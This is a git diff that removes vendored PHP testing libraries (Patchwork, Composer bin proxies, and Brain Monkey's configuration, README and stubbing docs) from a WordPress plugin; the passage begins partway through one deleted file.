-function push($offset, $calledClass, ?array $argsOverride = null) -{ - State::$items[] = [$offset, $calledClass, $argsOverride]; -} - -function pop() -{ - array_pop(State::$items); -} - -function pushFor($offset, $calledClass, $callback, ?array $argsOverride = null) -{ - push($offset, $calledClass, $argsOverride); - try { - $callback(); - } catch (\Exception $e) { - $exception = $e; - } - pop(); - if (isset($exception)) { - throw $exception; - } -} - -function top($property = null) -{ - $all = all(); - $frame = reset($all); - $argsOverride = topArgsOverride(); - if ($argsOverride !== null) { - $frame["args"] = $argsOverride; - } - if ($property) { - return isset($frame[$property]) ? $frame[$property] : null; - } - return $frame; -} - -function topOffset() -{ - if (empty(State::$items)) { - throw new Exceptions\StackEmpty; - } - list($offset, $calledClass) = end(State::$items); - return $offset; -} - -function topCalledClass() -{ - if (empty(State::$items)) { - throw new Exceptions\StackEmpty; - } - list($offset, $calledClass) = end(State::$items); - return $calledClass; -} - -function topArgsOverride() -{ - if (empty(State::$items)) { - throw new Exceptions\StackEmpty; - } - list($offset, $calledClass, $argsOverride) = end(State::$items); - return $argsOverride; -} - -function all() -{ - $backtrace = debug_backtrace(); - return array_slice($backtrace, count($backtrace) - topOffset()); -} - -function allCalledClasses() -{ - return array_map(function($item) { - list($offset, $calledClass) = $item; - return $calledClass; - }, State::$items); -} - -class State -{ - static $items = []; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Utils.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Utils.php deleted file mode 100644 index 1d92dfb3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Utils.php +++ /dev/null @@ -1,388 +0,0 @@ - - * @copyright 2010-2018 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\Utils; - -use Patchwork\Config; -use Patchwork\CallRerouting; -use Patchwork\CodeManipulation; - -const ALIASING_CODE = ' - namespace %s; - function %s() { - return call_user_func_array("%s", func_get_args()); - } -'; - -function clearOpcodeCaches() -{ - if (function_exists('opcache_reset')) { - opcache_reset(); - } - if (ini_get('wincache.ocenabled')) { - wincache_refresh_if_changed(); - } - if (ini_get('apc.enabled') && function_exists('apc_clear_cache')) { - apc_clear_cache(); - } -} - -/** - * @deprecated 2.2.0 - */ -function generatorsSupported() -{ - return version_compare(PHP_VERSION, "5.5", ">="); -} - -/** - * @deprecated 2.2.0 - */ -function runningOnHHVM() -{ - return defined("HHVM_VERSION"); -} - -function condense($string) -{ - return preg_replace('/\s+/', ' ', $string); -} - -function indexOfFirstGreaterThan(array $array, $value) -{ - $low = 0; - $high = count($array) - 1; - if (empty($array) || $array[$high] <= $value) { - return -1; - } - while ($low < $high) { - $mid = (int)(($low + $high) / 2); - if ($array[$mid] <= $value) { - $low = $mid + 1; - } else { - $high = $mid; - } - } - return $low; -} - -function indexOfLastNotGreaterThan(array $array, $value) -{ - if (empty($array)) { - return -1; - } - $result = indexOfFirstGreaterThan($array, $value); - if ($result === -1) { - $result = count($array) - 1; - } - while ($array[$result] > $value) { - $result--; - } - return $result; -} - -function firstGreaterThan(array $array, $value, $default = INF) -{ - $index = indexOfFirstGreaterThan($array, $value); - return ($index !== -1) ? $array[$index] : $default; -} - -function lastNotGreaterThan(array $array, $value, $default = INF) -{ - $index = indexOfLastNotGreaterThan($array, $value); - return ($index !== -1) ? $array[$index] : $default; -} - -function allWithinRange(array $array, $low, $high) -{ - $low--; - $high++; - $index = indexOfFirstGreaterThan($array, $low); - if ($index === -1) { - return []; - } - $result = []; - while ($index < count($array) && $array[$index] < $high) { - $result[] = $array[$index]; - $index++; - } - return $result; -} - -function interpretCallable($callback) -{ - if (is_object($callback)) { - return interpretCallable([$callback, "__invoke"]); - } - if (is_array($callback)) { - list($class, $method) = $callback; - $instance = null; - if (is_object($class)) { - $instance = $class; - $class = get_class($class); - } - $class = isset($class) ? ltrim($class, "\\") : ''; - return [$class, $method, $instance]; - } - if (substr($callback, 0, 4) === 'new ') { - return [ltrim(substr($callback, 4)), 'new', null]; - } - $callback = ltrim($callback, "\\"); - if (strpos($callback, "::")) { - list($class, $method) = explode("::", $callback); - return [$class, $method, null]; - } - return [null, $callback, null]; -} - -function callableDefined($callable, $shouldAutoload = false) -{ - list($class, $method, $instance) = interpretCallable($callable); - if ($instance !== null) { - return true; - } - if (isset($class)) { - return classOrTraitExists($class, $shouldAutoload) && - (method_exists($class, $method) || $method === 'new'); - } - return function_exists($method); -} - -function classOrTraitExists($classOrTrait, $shouldAutoload = true) -{ - return class_exists($classOrTrait, $shouldAutoload) - || trait_exists($classOrTrait, $shouldAutoload); -} - -function append(&$array, $value) -{ - $array[] = $value; - end($array); - return key($array); -} - -function appendUnder(&$array, $path, $value) -{ - foreach ((array) $path as $key) { - if (!isset($array[$key])) { - $array[$key] = []; - } - $array = &$array[$key]; - } - return append($array, $value); -} - -function access($array, $path, $default = null) -{ - foreach ((array) $path as $key) { - if (!isset($array[$key])) { - return $default; - } - $array = $array[$key]; - } - return $array; -} - -function normalizePath($path) -{ - return rtrim(strtr($path, "\\", "/"), "/"); -} - -function reflectCallable($callback) -{ - if ($callback instanceof \Closure) { - return new \ReflectionFunction($callback); - } - list($class, $method) = interpretCallable($callback); - if (isset($class)) { - return new \ReflectionMethod($class, $method); - } - return new \ReflectionFunction($method); -} - -function callableToString($callback) -{ - list($class, $method) = interpretCallable($callback); - if (isset($class)) { - return $class . "::" . $method; - } - return $method; -} - -function alias($namespace, array $mapping) -{ - foreach ($mapping as $original => $aliases) { - $original = ltrim(str_replace('\\', '\\\\', $namespace) . '\\\\' . $original, '\\'); - foreach ((array) $aliases as $alias) { - eval(sprintf(ALIASING_CODE, $namespace, $alias, $original)); - } - } -} - -function getUserDefinedCallables() -{ - return array_merge(get_defined_functions()['user'], getUserDefinedMethods()); -} - -function getRedefinableCallables() -{ - return array_merge(getUserDefinedCallables(), Config\getRedefinableInternals()); -} - -function getUserDefinedMethods() -{ - static $result = []; - static $classCount = 0; - static $traitCount = 0; - $classes = getUserDefinedClasses(); - $traits = getUserDefinedTraits(); - $newClasses = array_slice($classes, $classCount); - $newTraits = array_slice($traits, $traitCount); - foreach (array_merge($newClasses, $newTraits) as $newClass) { - foreach (get_class_methods($newClass) as $method) { - $result[] = $newClass . '::' . $method; - } - } - $classCount = count($classes); - $traitCount = count($traits); - return $result; -} - -function getUserDefinedClasses() -{ - static $classCutoff; - $classes = get_declared_classes(); - if (!isset($classCutoff)) { - $classCutoff = count($classes); - for ($i = 0; $i < count($classes); $i++) { - if ((new \ReflectionClass($classes[$i]))->isUserDefined()) { - $classCutoff = $i; - break; - } - } - } - return array_slice($classes, $classCutoff); -} - -function getUserDefinedTraits() -{ - static $traitCutoff; - $traits = get_declared_traits(); - if (!isset($traitCutoff)) { - $traitCutoff = count($traits); - for ($i = 0; $i < count($traits); $i++) { - $methods = get_class_methods($traits[$i]); - if (empty($methods)) { - continue; - } - list($first) = $methods; - if ((new \ReflectionMethod($traits[$i], $first))->isUserDefined()) { - $traitCutoff = $i; - break; - } - } - } - return array_slice($traits, $traitCutoff); -} - -function matchWildcard($wildcard, array $subjects) -{ - $table = ['*' => '.*', '{' => '(', '}' => ')', ' ' => '', '\\' => '\\\\']; - $pattern = '/' . strtr($wildcard, $table) . '/i'; - return preg_grep($pattern, $subjects); -} - -function wildcardMatches($wildcard, $subject) -{ - return matchWildcard($wildcard, [$subject]) == [$subject]; -} - -function isOwnName($name) -{ - return stripos((string) $name, 'Patchwork\\') === 0 - && stripos((string) $name, CallRerouting\INTERNAL_REDEFINITION_NAMESPACE . '\\') !== 0; -} - -function isForeignName($name) -{ - return !isOwnName($name); -} - -function markMissedCallables() -{ - State::$missedCallables = array_map('strtolower', getUserDefinedCallables()); -} - -function getMissedCallables() -{ - return State::$missedCallables; -} - -function callableWasMissed($name) -{ - return in_array(strtolower($name), getMissedCallables()); -} - -function endsWith($haystack, $needle) -{ - if (strlen($haystack) === strlen($needle)) { - return $haystack === $needle; - } - if (strlen($haystack) < strlen($needle)) { - return false; - } - return substr($haystack, -strlen($needle)) === $needle; -} - -function wasRunAsConsoleApp() -{ - global $argv; - return isset($argv) && ( - endsWith($argv[0], 'patchwork.phar') || endsWith($argv[0], 'Patchwork.php') - ); -} - -function getParameterAndArgumentLists(?\ReflectionMethod $reflection = null) -{ - $parameters = []; - $arguments = []; - if ($reflection) { - foreach ($reflection->getParameters() as $p) { - $parameter = '$' . $p->name; - if ($p->isOptional()) { - try { - $value = var_export($p->getDefaultValue(), true); - } catch (\ReflectionException $e) { - $value = var_export(CallRerouting\INSTANTIATOR_DEFAULT_ARGUMENT, true); - } - $parameter .= ' = ' . $value; - } - $parameters[] = $parameter; - $arguments[] = '$' . $p->name; - } - } - return [join(', ' , $parameters), join(', ', $arguments)]; -} - -function args() -{ - return func_get_args(); -} - -function tokenize($string) -{ - if (defined('TOKEN_PARSE')) { - return token_get_all($string, TOKEN_PARSE); - } - return token_get_all($string); -} - -class State -{ - static $missedCallables = []; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/autoload.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/autoload.php deleted file mode 100644 index 1dc1ccd6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/autoload.php +++ /dev/null @@ -1,25 +0,0 @@ -realpath = realpath($opened_path) ?: $opened_path; - $opened_path = $this->realpath; - $this->handle = fopen($this->realpath, $mode); - $this->position = 0; - - return (bool) $this->handle; - } - - public function stream_read($count) - { - $data = fread($this->handle, $count); - - if ($this->position === 0) { - $data = preg_replace('{^#!.*\r?\n}', '', $data); - } - - $this->position += strlen($data); - - return $data; - } - - public function stream_cast($castAs) - { - return $this->handle; - } - - public function stream_close() - { - fclose($this->handle); - } - - public function stream_lock($operation) - { - return $operation ? flock($this->handle, $operation) : true; - } - - public function stream_seek($offset, $whence) - { - if (0 === fseek($this->handle, $offset, $whence)) { - $this->position = ftell($this->handle); - return true; - } - - return false; - } - - public function stream_tell() - { - return $this->position; - } - - public function stream_eof() - { - return feof($this->handle); - } - - public function stream_stat() - { - return array(); - } - - public function stream_set_option($option, $arg1, $arg2) - { - return true; - } - - public function url_stat($path, $flags) - { - $path = substr($path, 17); - if (file_exists($path)) { - return stat($path); - } - - return false; - } - } - } - - if ( - (function_exists('stream_get_wrappers') && in_array('phpvfscomposer', stream_get_wrappers(), true)) - || (function_exists('stream_wrapper_register') && stream_wrapper_register('phpvfscomposer', 'Composer\BinProxyWrapper')) - ) { - return include("phpvfscomposer://" . __DIR__ . '/..'.'/nikic/php-parser/bin/php-parse'); - } -} - -return include __DIR__ . '/..'.'/nikic/php-parser/bin/php-parse'; diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/bin/phpunit b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/bin/phpunit deleted file mode 100755 index b5b530a8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/bin/phpunit +++ /dev/null @@ -1,122 +0,0 @@ -#!/usr/bin/env php -realpath = realpath($opened_path) ?: $opened_path; - $opened_path = 'phpvfscomposer://'.$this->realpath; - $this->handle = fopen($this->realpath, $mode); - $this->position = 0; - - return (bool) $this->handle; - } - - public function stream_read($count) - { - $data = fread($this->handle, $count); - - if ($this->position === 0) { - $data = preg_replace('{^#!.*\r?\n}', '', $data); - } - $data = str_replace('__DIR__', var_export(dirname($this->realpath), true), $data); - $data = str_replace('__FILE__', var_export($this->realpath, true), $data); - - $this->position += strlen($data); - - return $data; - } - - public function stream_cast($castAs) - { - return $this->handle; - } - - public function stream_close() - { - fclose($this->handle); - } - - public function stream_lock($operation) - { - return $operation ? flock($this->handle, $operation) : true; - } - - public function stream_seek($offset, $whence) - { - if (0 === fseek($this->handle, $offset, $whence)) { - $this->position = ftell($this->handle); - return true; - } - - return false; - } - - public function stream_tell() - { - return $this->position; - } - - public function stream_eof() - { - return feof($this->handle); - } - - public function stream_stat() - { - return array(); - } - - public function stream_set_option($option, $arg1, $arg2) - { - return true; - } - - public function url_stat($path, $flags) - { - $path = substr($path, 17); - if (file_exists($path)) { - return stat($path); - } - - return false; - } - } - } - - if ( - (function_exists('stream_get_wrappers') && in_array('phpvfscomposer', stream_get_wrappers(), true)) - || (function_exists('stream_wrapper_register') && stream_wrapper_register('phpvfscomposer', 'Composer\BinProxyWrapper')) - ) { - return include("phpvfscomposer://" . __DIR__ . '/..'.'/phpunit/phpunit/phpunit'); - } -} - -return include __DIR__ . '/..'.'/phpunit/phpunit/phpunit'; diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.gitattributes b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.gitattributes deleted file mode 100644 index 07eb7762..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.gitattributes +++ /dev/null @@ -1,5 +0,0 @@ -# Auto detect text files and perform LF normalization -text eol=lf - -tests/ export-ignore -.travis.yml export-ignore diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.gitbook.yaml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.gitbook.yaml deleted file mode 100644 index a9155da1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.gitbook.yaml +++ /dev/null @@ -1,5 +0,0 @@ -root: ./docs/ - -structure: - readme: what-and-why.md - summary: summary.md \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.github/dependabot.yml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.github/dependabot.yml deleted file mode 100644 index d727b17c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.github/dependabot.yml +++ /dev/null @@ -1,14 +0,0 @@ -# Dependabot configuration. -# -# Please see the documentation for all configuration options: -# https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates - -version: 2 -updates: - - package-ecosystem: "github-actions" - directory: "/" - schedule: - interval: "weekly" - open-pull-requests-limit: 5 - commit-message: - prefix: "GH Actions:" diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.github/workflows/php-qa.yml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.github/workflows/php-qa.yml deleted file mode 100644 index f559f70d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.github/workflows/php-qa.yml +++ /dev/null @@ -1,84 +0,0 @@ -name: PHP Quality Assurance -on: - push: - # Allow manually triggering the workflow. - workflow_dispatch: - -# Cancels all previous workflow runs for the same branch that have not yet completed. -concurrency: - # The concurrency group contains the workflow name and the branch name. - group: ${{ github.workflow }}-${{ github.ref }} - cancel-in-progress: true - -jobs: - qa: - runs-on: ubuntu-latest - if: "!contains(github.event.head_commit.message, 'ci skip')" - strategy: - fail-fast: true - matrix: - php-versions: ['5.6', '7.0', '7.1', '7.2', '7.3', '7.4', '8.0', '8.1', '8.2', '8.3'] - dependency-versions: ['lowest', 'highest'] - - include: - - php-versions: '8.4' - dependency-versions: 'highest' - - continue-on-error: ${{ matrix.php-versions == '8.4' }} - - steps: - - uses: actions/checkout@v4 - - - name: Setup PHP - uses: shivammathur/setup-php@v2 - with: - php-version: ${{ matrix.php-versions }} - ini-values: zend.assertions=1, error_reporting=-1, display_errors=On - coverage: ${{ ( matrix.php-versions == '7.4' && 'xdebug' ) || 'none' }} - tools: parallel-lint - env: - fail-fast: true - - - name: Check syntax error in sources - if: ${{ matrix.dependency-versions == 'highest' }} - run: parallel-lint ./src/ ./tests/ - - - name: Install dependencies - normal - if: ${{ matrix.php-versions != '8.4' }} - uses: "ramsey/composer-install@v3" - with: - dependency-versions: ${{ matrix.dependency-versions }} - # Bust the cache at least once a month - output format: YYYY-MM. - custom-cache-suffix: $(date -u "+%Y-%m") - - - name: Install dependencies - ignore-platform-reqs - if: ${{ matrix.php-versions == '8.4' }} - uses: "ramsey/composer-install@v3" - with: - dependency-versions: ${{ matrix.dependency-versions }} - composer-options: "--ignore-platform-reqs" - custom-cache-suffix: $(date -u "+%Y-%m") - - - name: Check cross-version PHP compatibility - if: ${{ matrix.php-versions == '7.4' && matrix.dependency-versions == 'highest' }} # results is same across versions, do it once - run: composer phpcompat - - - name: Migrate test configuration (>= 7.3) - if: ${{ matrix.php-versions >= 7.3 && matrix.dependency-versions == 'highest' }} - run: ./vendor/bin/phpunit --migrate-configuration - - - name: Run unit tests (without code coverage) - if: ${{ matrix.php-versions != '7.4' || matrix.dependency-versions != 'highest' }} - run: ./vendor/bin/phpunit - - - name: Run unit tests with code coverage - if: ${{ matrix.php-versions == '7.4' && matrix.dependency-versions == 'highest' }} - run: ./vendor/bin/phpunit --coverage-clover=coverage.xml - - - name: Update codecov.io - uses: codecov/codecov-action@v4 - if: ${{ matrix.php-versions == '7.4' && matrix.dependency-versions == 'highest' }} # upload coverage once is enough - env: - CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }} - with: - file: ./coverage.xml diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.gitignore b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.gitignore deleted file mode 100644 index 1ad0c2b7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.gitignore +++ /dev/null @@ -1,7 +0,0 @@ -vendor/ -/composer.lock -/phpunit.xml -website/ -couscous-theme/ -couscous.* -/.phpunit.result.cache diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/LICENSE deleted file mode 100644 index 48ba0d9d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/LICENSE +++ /dev/null @@ -1,19 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2017 Giuseppe Mazzapica - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/README.md deleted file mode 100644 index d64cfed3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/README.md +++ /dev/null @@ -1,42 +0,0 @@ -# README - -## Brain Monkey - -[![PHP Quality Assurance](https://github.com/Brain-WP/BrainMonkey/workflows/PHP%20Quality%20Assurance/badge.svg)](https://github.com/Brain-WP/BrainMonkey/actions?query=workflow%3A%22PHP+Quality+Assurance%22) -[![codecov](https://codecov.io/gh/Brain-WP/BrainMonkey/branch/master/graph/badge.svg)](https://codecov.io/gh/Brain-WP/BrainMonkey) - -Brain Monkey is a tests utility for PHP. - -It provides **two set of helpers**: - -* the first are framework-agnostic tools that allow to mock \(or _monkey patch_\) and to test behavior of any **PHP function** -* the second are **specific to WordPress** and make unit testing of WordPress extensions a no-brainer. - -## Requirements - -* PHP 5.6+ -* [Composer](https://getcomposer.org/) to install - -Via Composer following packages are required: - -* [mockery/mockery](https://packagist.org/packages/mockery/mockery) version 1 \(BSD-3-Clause\) -* [antecedent/patchwork](https://packagist.org/packages/antecedent/patchwork) version 2 \(MIT\) - -When installed for development, following packages are also required: - -* [phpunit/phpunit](https://packagist.org/packages/phpunit/phpunit) version 5.7 \(BSD-3-Clause\) - -## License - -Brain Monkey is open source and released under MIT license. See LICENSE file for more info. - -## Question? Issues? - -Brain Monkey is hosted on GitHub. Feel free to open issues there for suggestions, questions and real issues. - -## Who's Behind - -I'm Giuseppe, I deal with PHP since 2005. For questions, rants or chat ping me on Twitter \([@gmazzap](https://twitter.com/gmazzap)\) or on ["The Loop"](https://chat.stackexchange.com/rooms/6/the-loop) \(Stack Exchange\) chat. - -Well, it's possible I'll ignore rants. - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/composer.json deleted file mode 100644 index 90c3f6b2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/composer.json +++ /dev/null @@ -1,76 +0,0 @@ -{ - "name": "brain/monkey", - "description": "Mocking utility for PHP functions and WordPress plugin API", - "keywords": [ - "testing", - "test", - "mockery", - "patchwork", - "mock", - "mock functions", - "runkit", - "redefinition", - "monkey patching", - "interception" - ], - "authors": [ - { - "name": "Giuseppe Mazzapica", - "email": "giuseppe.mazzapica@gmail.com", - "homepage": "https://gmazzap.me", - "role": "Developer" - } - ], - "support": { - "issues": "https://github.com/Brain-WP/BrainMonkey/issues", - "source": "https://github.com/Brain-WP/BrainMonkey" - }, - "license": "MIT", - "require": { - "php": ">=5.6.0", - "mockery/mockery": "^1.3.5 || ^1.4.4", - "antecedent/patchwork": "^2.1.17" - }, - "require-dev": { - "phpunit/phpunit": "^5.7.26 || ^6.0 || ^7.0 || >=8.0 <8.5.12 || ^8.5.14 || ^9.0", - "phpcompatibility/php-compatibility": "^9.3.0", - "dealerdirect/phpcodesniffer-composer-installer": "^0.7.1" - }, - "autoload": { - "psr-4": { - "Brain\\Monkey\\": "src/" - }, - "files": [ - "inc/api.php" - ] - }, - "autoload-dev": { - "files": [ - "vendor/antecedent/patchwork/Patchwork.php" - ], - "psr-4": { - "Brain\\Monkey\\Tests\\": "tests/src/", - "Brain\\Monkey\\Tests\\Unit\\": "tests/cases/unit/", - "Brain\\Monkey\\Tests\\Functional\\": "tests/cases/functional/" - } - }, - "minimum-stability": "dev", - "prefer-stable": true, - "config": { - "optimize-autoloader": true, - "allow-plugins": { - "dealerdirect/phpcodesniffer-composer-installer": true - } - }, - "extra": { - "branch-alias": { - "dev-version/1": "1.x-dev", - "dev-master": "2.x-dev" - } - }, - "scripts" : { - "phpcompat": [ - "@php ./vendor/squizlabs/php_codesniffer/bin/phpcs -ps . --standard=PHPCompatibility --ignore=*/vendor/* --extensions=php --basepath=./ --runtime-set testVersion 5.6-" - ] - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/functions-testing-tools/function-stubs.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/functions-testing-tools/function-stubs.md deleted file mode 100644 index 990843b1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/functions-testing-tools/function-stubs.md +++ /dev/null @@ -1,181 +0,0 @@ -# Bulk patching with `stubs()` - -`when()` and its related functions are quite simple and straightforward. - -However, it can be quite verbose when multiple functions needs to be patched. - -For this reason, version 2.1 introduced a new API function to define multiple functions in bulk: `stubs()` - -### `stubs()` - -`Functions\stubs()` accepts an array of functions to be defined. - -The first way to use it is to pass function names as array item _keys_ and the wanted return values as array _values_: - -```php -Functions\stubs( - [ - 'is_user_logged_in' => true, - 'current_user_can' => false, - ] -); -``` - -There are two special cases: - -* when the array item value is a `callable`, the function given as array item key is _aliased_ to the given callback instead of returning the callback itself; -* when the array item value is `null`, the function given as array item key will return the first argument received, just like `when( $function_name )->justReturnArg()` was used for it - -```php -Functions\stubs( - [ - 'is_user_logged_in' => true, // will return `true` as provided - 'wp_get_current_user' => function () { // will return the WP_User mock - return \Mockery::mock(\WP_User::class); - }, - '__' => null, // will return the 1st argument received - ] -); -``` - -Another way to use `stubs`, useful to stub many function with same return value, is to pass to a non-associative array of function names as first argument, and the wanted return value for all of them as second argument. - -For example, the snippet below will create a stub that returns `true` for all the given functions: - -```php -Functions\stubs( - [ - 'is_user_logged_in', - 'current_user_can', - 'is_multisite', - 'is_admin', - ], - true -); -``` - -Please note that the default value for the second argument, being it optional, is `null`, and because using `null` as value means _"return first received argument"_ it is possible to stub many functions that have to return first received argument, by passing their names as first argument to `stubs()` \(and no second argument\), like this: - -```php -Functions\stubs( - [ - 'esc_attr', - 'esc_html', - '__', - '_x', - 'esc_attr__', - 'esc_html__', - ] -); -``` - -\(Even if there's a simpler way to stub escaping and translation WP functions, more on this below\). - -It worth noting that the two ways of using `stubs()` can be mixed together, for example like this: - -```php -Functions\stubs( - [ - // will both return 1st argument received, because `stubs` 2nd param defaults to `null` - 'esc_attr', - 'esc_html', - - // will all return what is given as array item value - 'is_user_logged_in' => true, - 'current_user_can' => false, - 'get_current_user_id' => 1, - ] -); -``` - -### Pre-defined stubs for escaping functions - -To stub WordPress escaping functions is a very common usage for `Functions\stubs`. - -This is why, since version 2.3, Brain Monkey introduced a new API function: - -* **`Functions\stubEscapeFunctions()`** - -When called, it will create a stub for each of the following functions: - -* `esc_js()` -* `esc_sql()` -* `esc_attr()` -* `esc_html()` -* `esc_textarea()` -* `esc_url()` -* `esc_url_raw()` -* `esc_xml()` \(since 2.6\) - -By calling `Functions\stubEscapeFunctions()`, for _all_ of the functions listed above a stub will be created that will do some very basic escaping on the received first argument before returning it. - -It will _not_ be the exact same escape mechanism that WordPress would apply, but "similar enough" for unit tests purpose and could still be helpful to discover some bugs. - -### Pre-defined stubs for translation functions - -Another common usage for `Functions\stubs`, since its introduction, has been to stub translation functions. - -Since version 2.3, this has became much easier thanks to the introduction of a new API function: - -* **`Functions\stubTranslationFunctions()`** - -When called, it will create a stub for _all_ the following functions: - -* `__()` -* `_e()` -* `_ex()` -* `_x()` -* `_n()` \(since 2.6\) -* `_nx()` \(since 2.6\) -* `translate()` -* `esc_html__()` -* `esc_html_x()` -* `esc_attr__()` -* `esc_attr_x()` -* `esc_html_e()` -* `esc_attr_e()` -* `_n_noop()` \(since 2.7\) -* `_nx_noop()` \(since 2.7\) -* `translate_nooped_plural()` \(since 2.7\) - -The created stub will not attempt any translation, but will return \(or echo\) the first received argument. - -Only for functions that both translate and escape \(`esc_html__()`, `esc_html_x()`...\) the same escaping mechanism used by the pre-defined escaping functions stubs \(see above\) is applied before returning first received argument. - -Please note how `Functions\stubTranslationFunctions()` creates stubs for functions that _echo_ translated text, something not easily doable with `Functions\stubs()` alone. - -### Gotcha for `Functions\stubs` - -#### Functions that returns null - -When using `stubs()`, passing `null` as the "value" of the function to stub, the return value of the stub will **not** be `null`, but the first received value. - -To use `stubs()` to stub functions that return `null` it is possible to do something like this: - -```php -Functions\stubs( [ 'function_that_returns_null' => '__return_null' ] ); -``` - -It works because `__return_null` is a WP function that Brain Monkey also defines since version 2.0. - -#### Functions that returns callbacks - -When using `stubs`, passing a `callable` as the "value" of the function to stub, the created stub will be an _alias_ of the given callable, will **not** return it. - -If one want to use `stubs` to stub a function that returns a callable, a way to do it would be something like this: - -```php -Functions\stubs( - [ - 'function_that_returns_a_callback' => function() { - return 'the_expected_returned_callback'; - } - ] -); -``` - -but it is probably simpler to use the "usual" `when` + `justReturn`: - -```php -when('function_that_returns_a_callback')->justReturn('the_expected_returned_callback') -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/functions-testing-tools/functions-expect.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/functions-testing-tools/functions-expect.md deleted file mode 100644 index 4aa06004..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/functions-testing-tools/functions-expect.md +++ /dev/null @@ -1,133 +0,0 @@ -# Testing functions with expect\(\) - -Often, in tests, what we need is not only to enforce a function returned value \(what `Functions\when()` allows to do\), but to test function behavior based on **expectations**. - -Mockery has a very powerful, and human readable Domain Specific Language \(DSL\) that allows to set expectations on how object methods should behave, e.g. validate arguments they should receive, how many times they are called, and so on. - -Brain Monkey brings that power to function testing. The entry-point is the `Functions\expect()` function. - -It receives a function name and returns a Mockery expectation object with all its power. - -Below there are just several examples, for the full story about Mockery expectations see its [documentation](http://docs.mockery.io/en/latest/reference/index.html). - -Only note that in functions testing the `shouldReceive` Mockery method makes **no sense**, so don't use it \(an exception will be thrown if you do that\). - -## Expectations on times a function is called - -```php -Functions\expect('paganini')->once(); - -Functions\expect('tween')->twice(); - -Functions\expect('who_knows')->zeroOrMoreTimes(); - -Functions\expect('i_should_run')->atLeast()->once(); - -Functions\expect('i_have_a_max')->atMost()->twice(); - -Functions\expect('poor_me')->never(); - -Functions\expect('pretty_precise')->times(3); - -Functions\expect('i_have_max_and_min')->between(2, 4); -``` - -There is no need to explain how it works: Mockery DSL reads like plain English. 